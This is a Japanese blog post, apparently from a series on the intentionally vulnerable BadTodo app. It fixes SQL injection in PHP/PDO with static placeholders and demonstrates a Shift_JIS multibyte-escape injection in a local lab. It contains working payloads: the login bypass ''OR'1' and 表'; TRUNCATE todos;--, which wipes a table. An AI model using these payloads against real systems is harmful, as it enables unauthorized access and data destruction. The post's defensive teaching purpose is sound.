また、プレースホルダにパラメータを割り当て(バインド)するのには bindParam()や bindValue()が使えますが、BadTodoでの他の箇所に合わせてexecute()に配列を渡す形にしました。
PHP: PDOStatement::bindParam - Manual
PHP: PDOStatement::bindValue - Manual

logindo.php コメントアウトしている部分を修正例に書き換えてください。

<?php
~(中略)~
  // $sql = "SELECT id, userid FROM users WHERE userid='$userid'";
  $sql = "SELECT id, userid FROM users WHERE userid=?";
  // $sth = $dbh->query($sql);
  $sth = $dbh->prepare($sql);  // プリペアドステートメント(静的プレースホルダ)でクエリを準備する
  $sth->execute(array($userid));  // プリペアドステートメントで値を取得して実行する(ストアドプロシージャをコール)
  $row = $sth->fetch(PDO::FETCH_ASSOC);
  $sth = null;
  if (!empty($row)) {
    // $sql = "SELECT id, userid, super FROM users WHERE userid='$userid' AND pwd='$pwd'";
    $sql = "SELECT id, userid, super FROM users WHERE userid=? AND pwd=?";
    // $sth = $dbh->query($sql);
    $sth = $dbh->prepare($sql);  // 準備する
    $sth->execute(array($userid, $pwd));  // 実行する

また common.phpの78行目からの部分にsetAttribute()を1行追記してください。
PHP: PDO::setAttribute - Manual

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);  // 追記。falseで静的プレースホルダを使用する。デフォルト値はtrue
  $dbh->query("SET NAMES utf8");
  return $dbh;
}

確認

BadTodo - 3.1 SQLインジェクション 認証の回避で試した単純なシングルクォーテーション'の入力で確認してみます。

ログイン実行。SQLのエラーは表示されませんでした。

この時のクエリを確認してみると先にPrepareでひな型が作成され、Executeで入力値がはめ込まれていますが、'がバックスラッシュでエスケープされています。

Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid='\''

(文字列に引用符'を含める方法は幾つかあり、シングルクォーテーションを重ねる''方法もあります)MySQL :: MySQL 8.0 リファレンスマニュアル :: 9.1.1 文字列リテラル

静的プレースホルダの場合、プリペアドステートメントを利用した時点でSQL構文が確定し後から構文が変化することがありません。割り当てられる変数は完全な数値定数もしくは文字列定数として扱われます。特殊文字はエスケープ処理されます。よってパラメータの値がリテラルの外にはみ出す現象が起きず、SQL インジェクションの脆弱性が生じません。

(一方、対策以前のクエリ(下記)ではそのまま入力されるため、2つ目の'で文字列リテラルが終了し、3つ目の'は文字列リテラルをはみ出した状態になり、SQL文として意味を持たないので構文エラーになります)

Query   SELECT id, userid FROM users WHERE userid='''

パスワードの方も確認

id=admin パスワード='OR'1で試します。(デフォルトではパスワード6桁までしか受け付けない仕様のため)
修正前のSQLインジェクションが可能な場合。

ログインできました。

クエリは次の通り。

Query   SELECT id, userid FROM users WHERE userid='admin'
Query   SELECT id, userid, super FROM users WHERE userid='admin' AND pwd=''OR'1'

修正後。ログインできません。

Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid='admin'
Close stmt
Prepare  SELECT id, userid, super FROM users WHERE userid=? AND pwd=?
Execute  SELECT id, userid, super FROM users WHERE userid='admin' AND pwd='\'OR\'1'

補足。動的プレースホルダとShift_JISによるSQLインジェクション

先の修正で common.php に「静的プレースホルダを使うように」という指示を1行追加しました。 $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); // 追記。falseで静的プレースホルダを使用する。デフォルト値はtrue

この記載がない場合はデフォルトの「動的プレースホルダ」が使用されます。

動的プレースホルダは準備された文(Prepared Statement)とは異なり、プレースホルダを利用するものの、パラメータのバインド処理をデータベースエンジン側で行うのではなく、アプリケーション側のライブラリ内で実行する方式です。 ~(中略)~
これを俗に、「クライアントサイドのプリペアドステートメント」と呼ぶことがありますが、JIS/ISO で規定された意味での「準備された文(Prepared Statement)」ではないので注意が必要です。
IPA - 別冊:安全なSQLの呼び出し方 p.11

パラメータのバインド処理をデータベースエンジン側で行うのではなくアプリケーション側で実行する場合、文字エンコードにShift_JISを使うとSQLの生成においてUnicodeからShift_JISへの変換が発生します。
(PHP/MySQL/Shift_JISの組み合わせだけではなく様々なパターンがありますのでIPAの資料を適宜参照してください)

ここでは上記資料「安全なSQLの呼び出し方 p.32」A.2. Shift_JISによるSQLインジェクションを試してみます。
まずブラウザChromiumに拡張機能を入れ、Webサイトのエンコーディングを変更できるようにしておいてください。=>Charset - Chrome ウェブストア

そして common.php の$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);をコメントアウトして当初の状態に戻します。また文字セットにutf8ではなくsjisを指定します。

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  // $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  // $dbh->query("SET NAMES utf8");
  $dbh->query("SET NAMES sjis");
  return $dbh;
}

先ほどと同じく、まずは単純なシングルクォーテーション'の入力。

SQL文のエラーは表示されませんでした。

この時のクエリを確認してみると静的プレースホルダの際と同様に'がバックスラッシュでエスケープされており問題ないように見えます。ただ Prepare Execute という記載がなくなり、動的プレースホルダになっているとみられます。

Query   SELECT id, userid FROM users WHERE userid='\''

次に、先ほど導入した拡張機能を使いブラウザの文字コードを「日本語(Shift_JIS)」に変更します。

PHPコード自体はUTF-8形式で保存されているため文字化けします。

ここでユーザIDに表'; TRUNCATE todos;--と入力しログインボタンをクリックするとテーブルが初期化されます

実行前
MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename | url  | url_text | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
|  1 |     1 | パソコンを買う                 | 2023-12-11 | 2023-12-12 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-12-11 | 2023-12-18 |    0 | NULL | memo.txt     | memo.txt      | NULL | NULL     |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-12-11 | 2023-12-14 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      0 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
3 rows in set (0.000 sec)
 
実行後
MariaDB [todo]> select * from todos;
Empty set (0.001 sec)

この時のクエリ

Query   SET NAMES sjis
Query   SELECT id, userid FROM users WHERE userid='\\\'; TRUNCATE todos;-- '

なぜこうなるのかについて。
入力値の表'の部分の文字コードは次のようになります。

のShift_JISコードは0x955cですが下位 8bit の0x5cはUS-ASCII(UTF-8エンコード)ではバックスラッシュに該当します。この文字列に対し、文字エンコーディングを考慮せずにエスケープ処理を施した場合、0x5c がエスケープ対象と解釈されることがあります。
また先の例で見たように、MySQLではシングルクォーテーション(0x27)やバックスラッシュ(0x5c)は、その前にバックスラッシュ(0x5c)を付けることでエスケープされます。\\\'。よって以下のような並びとなります。

しかしこれをあらためて Shift_JIS として解釈するとこうなります。

これを元の SQL 文に与えると次の文になります。
SELECT id, userid FROM users WHERE userid='表\\'; TRUNCATE todos;--

本来後部の'をエスケープするための2番目の\が1番目の\との組み合わせ\\となってしまったため、後ろの'が有効となりセミコロン以降がリテラルの外にはみ出しSQL文として解釈されます。
このことから、文字エンコーディングに起因する SQL インジェクションの脆弱性が発生しやすい Shift_JIS の使用は避けてください。

(DockerTerminal上ではuserid='\\\'; とバックスラッシュ3本で表示されましたが、badtodo-dbの元のubuntuのlocaleにUTF-8しか入っていないので正しく表示できていないだけだと思われます)
(後ろが0x5cとなる文字は以外にも複数あります)

静的プレースホルダとShift_JISのパターンを試す

まずデータ初期化用スクリプトを実行し、テーブルを元に戻します。
(Windows(CMD) C:badtodo> .\scripts\init.bat) (Mac / Linux / WSL $ ./scripts/init.sh)
badtodo/docs/usage.md at main · ockeghem/badtodo · GitHub

common.phpにて文字コードはsjisのままsetAttribute(PDO::ATTR_EMULATE_PREPARES, false);とします。

<?php
~(中略)~
function dblogin()
{
  $dbhost = isset($_ENV['REDIRECT_MYSQL_HOST']) ? $_ENV['REDIRECT_MYSQL_HOST'] : '127.0.0.1';
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', 'wasbook');
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  // $dbh->query("SET NAMES utf8");
  $dbh->query("SET NAMES sjis");
  return $dbh;
}

そして表'; TRUNCATE todos;--でログイン。
今度は消えません。

MariaDB [todo]> select * from todos;
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
| id | owner | todo                           | c_date     | due_date   | done | memo | org_filename | real_filename | url  | url_text | public |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
|  1 |     1 | パソコンを買う                 | 2023-12-11 | 2023-12-12 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      1 |
|  2 |     2 | 依頼の原稿を書く               | 2023-12-11 | 2023-12-18 |    0 | NULL | memo.txt     | memo.txt      | NULL | NULL     |      1 |
|  3 |     1 | 政府高官との会食アポ           | 2023-12-11 | 2023-12-14 |    0 | NULL | NULL         | NULL          | NULL | NULL     |      0 |
+----+-------+--------------------------------+------------+------------+------+------+--------------+---------------+------+----------+--------+
SET NAMES sjis
Execute  SET NAMES sjis
Close stmt
Prepare  SELECT id, userid FROM users WHERE userid=?
Execute  SELECT id, userid FROM users WHERE userid=X'955C273B205452554E4341544520746F646F733B2D2D20'

PrepareとExecuteで実行され、'27などになり無害となっています。

さらに補足

`PDO::ATTR_EMULATE_PREPARES => false`は必要か?の記事で徳丸さんがコメントされており、

すなわち、以下のようなことは言えるかと思います。
・過去にはプレースホルダのエミュレーションの脆弱性が発見されたことがあったが、最近は報告がないようだ
・過去にあった脆弱性もUnicodeとJIS系エンコーディングを混在した場合のものであり、Unicode(UTF-8等)での統一が一般的になった状況では、エミュレーションの脆弱性は考えにくい
し・か・し・な・が・ら、原理的に安全というのと、実装に問題がなければ安全というのは、安全のレベルとしては全然違います。なので、最近私は、無理に静的プレースホルダ(エミュレーションオフ)を推奨してはいませんが、「理論的にはこうなので、組織あるいはプロジェクトとして、リスクとメリットを考慮して決めてください」という言い方をしています。

とのことです。

また「安全なWebアプリケーションの作り方 p.163」では複文の実行を禁止する設定としてPDO::MYSQL_ATTR_MULTI_STATEMENTS => falseも設定していますが、PHP 5.5.21 および 5.6.5 以降が対象のようです。
PHP: MySQL (PDO) - Manual
「この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。」
PDOに複文実行を禁止するオプションが追加されていた | 徳丸浩の日記
「すなわち、new PDOする際に、driver_options配列に上記を設定すればよい」「PDO::MYSQL_ATTR_MULTI_STATEMENTS が存在する場合のみ、このオプションを指定」

BadTodoに合わせるとこんな感じかと思います。

<?php
~(中略)~
  $opt = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
               PDO::ATTR_EMULATE_PREPARES => false);
  if (defined('PDO::MYSQL_ATTR_MULTI_STATEMENTS')) {
    $opt[PDO::MYSQL_ATTR_MULTI_STATEMENTS] = false;
  }
  $dbh = new PDO("mysql:host=$dbhost;dbname=todo;charset=utf8", 'root', 'wasbook', $opt);

さらに上記teratailのQ&A内で「2021/04/22 に開催された Club MySQL #5 ~SQLデータベースのセキュリティ~ の動画で、徳丸さんが『動的プレースホルダを使用することのメリット』に関してユーザ会に質問している動画」のリンクも貼られていて全体を通して興味深い内容でした。
Club MySQL #5 ~SQLデータベースのセキュリティ - YouTube

日が経って再度脆弱性を試すときに修正済みであったことを忘れて「あれ?動かない」となりがちなので忘れないうちに元のコードに戻しておいてください。

後日「Todo検索画面」の方も修正を試します。

次回:やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

/* -----codeの行番号----- */